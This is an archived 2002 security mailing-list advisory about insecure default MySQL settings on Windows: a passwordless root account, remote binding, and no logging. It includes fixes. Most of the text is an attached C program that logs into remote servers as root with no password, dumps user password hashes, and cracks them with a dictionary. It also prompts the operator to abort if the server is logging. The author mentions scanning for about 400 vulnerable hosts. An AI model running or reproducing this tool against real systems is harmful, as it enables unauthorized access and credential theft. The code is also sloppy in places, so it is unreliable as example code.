Weak MySQL Default Configuration on Windows

From: Mike Bommarito (g0thm0gat_private)
Date: Sun Aug 18 2002 - 10:15:57 PDT

  • Next message: Jeroen Latour: "[Mantis Advisory/2002-02] Limiting output to reporters can be bypassed"

    
     ('binary' encoding is not supported, stored as-is)
    	MySQL is an open-source database database produced by
    MySQL AB (www.mysql.org).
    MySQL AB provides binaries for the Windows platform
    which run "out-of-the-box.  However,
    the default configuration for these binaries leave
    MySQL wide open to attack in a number
    of ways:
    
    1) NULL root Password:
    
    	MySQL allows user management via an in-database system
    table called 'mysql.user'.  This
    table includes fields on the users' username, password,
    and host.  However, MySQL by default
    allows root login, from localhost and any host, without
    password.  Some users are unaware of
    this.  The problem is exascerbated by the fact that a
    large portion of MySQL users learn 
    MySQL through the PHP examples on www.php.net which
    show the user and password argument of
    mysql_connect as optional. Also, the MySQL manual 
    page (http://www.mysql.com/doc/en/Adding_users.html) on
    adding users never mentions removing
    the default root/NULL users, even though it shows
    starting the client with user root and no
    password.  A quick method of rectifying this is:
    	DELETE FROM mysql.user;
    	GRANT ALL PRIVILEGES ON *.* TO user@localhost 
    		IDENTIFIED BY 'password' WITH GRANT OPTION;
    
    
    2) Non-loopback-bound server:
    
    	The majority of MySQL's users run their database
    server on the same host as their
    web server.  However, in MySQL's configuration file,
    the line 'bind-address=127.0.0.1' is 
    commented out.  A server bound to the loopback
    interface would only be accessible on that
    host, removing the possibility of remote logins, which
    most users do not need.  However,
    because this line is commented out, MySQL will be
    accessible to any remote host.  Combined
    with the default root/NULL login, this means that
    anyone can remotely login as root, without
    a password, and have full rights to any database.  To
    enable binding to the loopback adapter,
    uncomment the bind-address line in your my.ini.
    
    
    3) No logging:
    	Logging is a necessary part of any secure server
    software.  However, MySQL does not
    log at all on Windows by default.  This means that a
    MySQL administrator would not be able
    to determine if his database had been comprimised, or
    if an individual was attempting to
    brute force a user/password account.  Logging can be
    enabled by adding these lines to your 
    my.ini:
    	log-long-format
    	log=/path/to/somewhere/log.txt
    
    
    	In order to demonstrate the simplicity of such an
    attack, I've included a program 
    to connect to a host, login as root/NULL, steal the
    hashes, and display them.  The 
    program takes about 5 seconds to execute, and if the
    host is vulnerable, will show the 
    hashes.  If you have have a dictionary word list, put
    it in the same directory as 
    dictionary.txt and it'll try and find a match to one of
    the words.		
    
    Thanks to:
    	-tiefer, for all the help on the research.
    
    Cheers:
    	-g0thm0g (g0thm0g at attbi dot com)	
    
    //mysqlfuck.c
    /*--||MySQLfuck||--*/
    /*Written by g0thm0g*/
    /*-----------------*/
    /*Earlier this summer (at least where I live), I had a
    conversation with a friend.
    It was one of those afternoons where you get an idea,
    and it kinda sticks with you.
    Anyway, our conversation involved a couple questions
    about INSERT's into a MySQL
    database.  Eventually, I told him that I would do it
    for him.  I came over, sat down
    on his computer, and accidentally typed his full IP
    address in.  TO my surprise, the
    host still connected.  Even worse, root login wasn't
    passworded.  I figured that he
    had mysql bound to 127.0.0.1, and that no real remote
    host could connect.  However,
    later that night after I had gone home, I got a phone
    call from the friend asking me
    to do it again.  Already on the computer (go figure
    d:), I pulled up bash and
    typed in his IP.  Right as I was about to ask him what
    his password was, I noticed
    that MySQL hadn't even bothered to authenticate me.  I
    "used mysql" and then SELECT'ed
    user,password,host FROM user.  To my horror, I recieved:
    						+------+----------+-----------+
    						| user | password | host      |
    						+------+----------+-----------+
    						| root |          | localhost |
    						| root |          | %         |
    						|      |          | localhost |
    						|      |          | %         |
    						+------+----------+-----------+
    	Not only was name-less login allowed, but root was
    without password on localhost
    and remote.  Anyway, to make a long story short, I did
    some research, and found that
    default Windows MySQL configuration lacks logging or
    authentication.  I did some
    network scanning, and I think I have around 400 hosts
    with no root password.  Anyway,
    to automate checking this, I wrote this program up.  It
    tries to login as root/NULL,
    then takes the values of the user password hashes and
    tries to find a match to a
    dictionary file called dictionary.txt.
    
    I wrote up an advisory, which you'll probably see on
    SecFoc soon.
    
    If I had some cookies, I'd give them to:
    	-Tiefer and his relentless questioning and jokes about
    my sister
    	-Club 21, especially for Hard Attack
    	-DJ Doboy, can't forget trancequility volume 19
    
    (INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE"
    CLAUSE HERE)
    (INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)
    
    Compile:
    	-MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2
    	-GCC=  gcc -omysqlfuck mysqlfuck.c -lmySQL -O2
    
    	-Cheers
    		g0th
    */
    
    
    #include <stdio.h>
    #ifdef WIN32
    #include <windows.h>
    #endif
    #include <mysql.h>
    
    /*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
    /*Crazy MySQL programmers and their short typedefs*/
    /*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
    
    #ifndef ulong
    #define ulong unsigned long
    #endif
    
    #ifndef uint
    #define uint unsigned int
    #endif
    
    #ifndef uchar
    #define uchar unsigned char
    #endif
    
    /*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
    /*##--####--####--####--####--####--####--####--##*/
    /*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
    
    /*--------------------------------------------------------------*/
    /*<<<<This section is ripped straight from the MySQL
    source.>>>>*/
    /*I have this all nice and optimized in assembly on my
    end, but*/
    /*writing cross-compiler inline is not too fun, and
    requring an*/
    /*assembler is kinda frustrating.*/
    /*--------------------------------------------------------------*/
    void hash_password(ulong *result, const char *password)
    {
      register ulong nr=1345345333L, add=7, nr2=0x12345671L;
      ulong tmp;
      for (; *password ; password++)
      {
        if (*password == ' ' || *password == '\t')
          continue;			/* skipp space in password */
    
        tmp= (ulong) (uchar) *password;
        nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
        nr2+=(nr2 << 8) ^ nr;
        add+=tmp;
      }
    
      result[0]=nr & 2147483647; /* Don't use sign bit
    (str2int) */;
      result[1]=nr2 & 2147483647;
      return;
    }
    
    void make_scrambled_password(char *to,const char *password)
    {
      ulong hash_res[2];
      hash_password(hash_res,password);
      sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
    }
    /*--------------------------------------------------------------*/
    /*<<<<######################################################>>>>*/
    /*--------------------------------------------------------------*/
    
    
    /*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
    
    
    /*--------------------------------*/
    /*<<<user struct to store data>>>>*/
    /*--------------------------------*/
    typedef struct
    {
    	char *user;
    	char *password;
    } user;
    
    #define	MAX_USERS	16
    /*--------------------------------*/
    /*<<<<########################>>>>*/
    /*--------------------------------*/
    
    
    
    //main - for "coherency's" (yes, i mean laziness) sake,
    i've kept this a single function
    int
    	main
    	(
    		int argc,
    		char** argv
    	)
    	{
    
    		MYSQL * mysqlData;			//--|-
    		MYSQL_RES * mysqlResult;	//--|-MySQL Datatypes
    		MYSQL_ROW mysqlRow;			//--|-
    
    		char *spHost;				//--|
    		char *spUser="root";			//--|
    		char *spPassword=NULL;		//--|-Our connection data
    		int spPort=3306;			//--|
    		char *spServerVersion;		//--|
    
    		int usernum=0;				//--|
    		user *users[MAX_USERS];		//--|-User name/hash storage
    data
    
    		FILE *fin, *fout;			//--|
    		char *file_name;			//--|-File I/O data
    
    		char *line=(char *)malloc(64);	//--|
    		char *buff=(char *)malloc(64);	//--|-Miscellaneous
    buffers
    
    		int i=0;					//--|Counter
    
    
    		//Warn about not meeting minimal arguments
    		if (2>argc)
    		{
    			fprintf (stderr, "usage: mysqlfuck host [-p<port>]");
    			return -1;
    		}
    
    		//Copy the first argument into the host buffer
    		spHost=(char *)malloc(sizeof(argv[1]));
    		strcpy (spHost, argv[1]);
    
    		//Copy port if the user specified
    		if (argv[2])
    		{
    			if (argv[2][1]=='p')
    			{
    				++argv[2];
    				++argv[2];
    				spPort=atoi(argv[2]);
    				printf ("port: %i\n", spPort);
    			}
    		}
    
    		//Initialize MySQL data and connect with root/NULL
    
    		mysqlData = (MYSQL *)malloc(sizeof(MYSQL));
    
    		mysql_init (mysqlData);
    
    		if (! mysql_real_connect (mysqlData, spHost, spUser,
    spPassword, "mysql", spPort, NULL, 0) )
    		{
    			fprintf (stderr, "mysql_real_connect: %s\n",
    mysql_error (mysqlData));
    			return -1;
    		}
    
    		//If the server logs, inform the user!
    
    		printf ("server version: %s\n",
    mysql_get_server_info(mysqlData));
    
    		if (strstr (mysql_get_server_info (mysqlData), "log"))
    		{
    			printf ("Warning!  Server is logging - Continue(*/n)?");
    			if (getchar()=='n')
    			{
    				mysql_close (mysqlData);
    				return -1;
    			}
    		}
    
    		//"Obtain" the hashes (notice i didn't use the word
    steal)
    
    		if ( mysql_query (mysqlData, "SELECT user,password
    FROM user") )
    		{
    			fprintf (stderr, "mysql_query: %s\n", mysql_error
    (mysqlData));
    			return -1;
    		}
    
    		//Store the result and process it
    
    		mysqlResult=mysql_store_result(mysqlData);
    		while (mysqlRow=mysql_fetch_row(mysqlResult))
    		{
    			if (strlen(mysqlRow[0])==0)
    			{
    				mysqlRow[0]="(NULL)";
    			}
    
    			if (strlen(mysqlRow[1])==0)
    			{
    				mysqlRow[1]="(NULL)";
    			}
    
    
    			users[usernum]=(user *)malloc(sizeof(user));
    			users[usernum]->user=(char
    *)malloc(strlen(mysqlRow[0])+1);
    			strcpy (users[usernum]->user, mysqlRow[0]);
    			users[usernum]->password=(char
    *)malloc(strlen(mysqlRow[1])+1);
    			strcpy (users[usernum]->password, mysqlRow[1]);
    			usernum++;
    		}
    
    		mysql_close (mysqlData);
    
    		//Setup putput file name string
    
    		file_name=(char *)malloc (sizeof(spHost)+4);
    		strcpy (file_name, spHost);
    		strcat (file_name, ".txt\0\0");
    		printf ("\n+----------------------------+\n");
    		printf ("<decrypting and dumping to %s>\n", file_name);
    		printf ("+----------------------------+\n");
    
    
    		fout=fopen (spHost, "w");
    
    		if (!fout)
    		{
    			fprintf (stderr, "Unable to open %s for password
    dumping\n", spHost);
    			return -1;
    		}
    
    
    		//Use a database to crack the hashes (optional)
    		fin=fopen ("dictionary.txt", "r");
    		if (!fin)
    		{
    			fprintf (stderr, "error opening dictionary.txt - no
    decryption will take place\n");
    
    			for (i=0;i<usernum;i++)
    			{
    				printf ("%s::%s\n", users[i]->user,
    users[i]->password);
    			}
    
    			return -1;
    		}
    
    		//Loop through the user array and crack/output hashes
    		for (i=0;i<usernum;i++)
    		{
    			if (users[i]->user)
    			{
    				if (users[i]->password)
    				{
    
    					while ( (fgets (line, 63, fin)))
    					{
    						line[strlen(line)-1]='\0';
    						make_scrambled_password (buff, line);
    						if (strcmp (buff, users[i]->password)==0)
    						{
    							users[i]->password=line;
    							break;
    						}
    					}
    
    					fclose (fin);
    
    					fprintf (fout, "%s::%s\n", users[i]->user,
    users[i]->password);
    					printf ("%s::%s\n", users[i]->user,
    users[i]->password);
    					fflush (fout);
    				}
    			}
    		}
    
    		//Always clean up after yourself!
    
    		fclose (fout);
    
    		if (buff)
    			free (buff);
    
    		if (line)
    			free (line);
    
    		if (spHost)
    			free (spHost);
    
    		if (users)
    			free (users);
    
    		if (file_name)
    			free (file_name);
    
    		if (mysqlData)
    			free (mysqlData);
    
    	}
    



    This archive was generated by hypermail 2b30 : Mon Aug 19 2002 - 15:19:01 PDT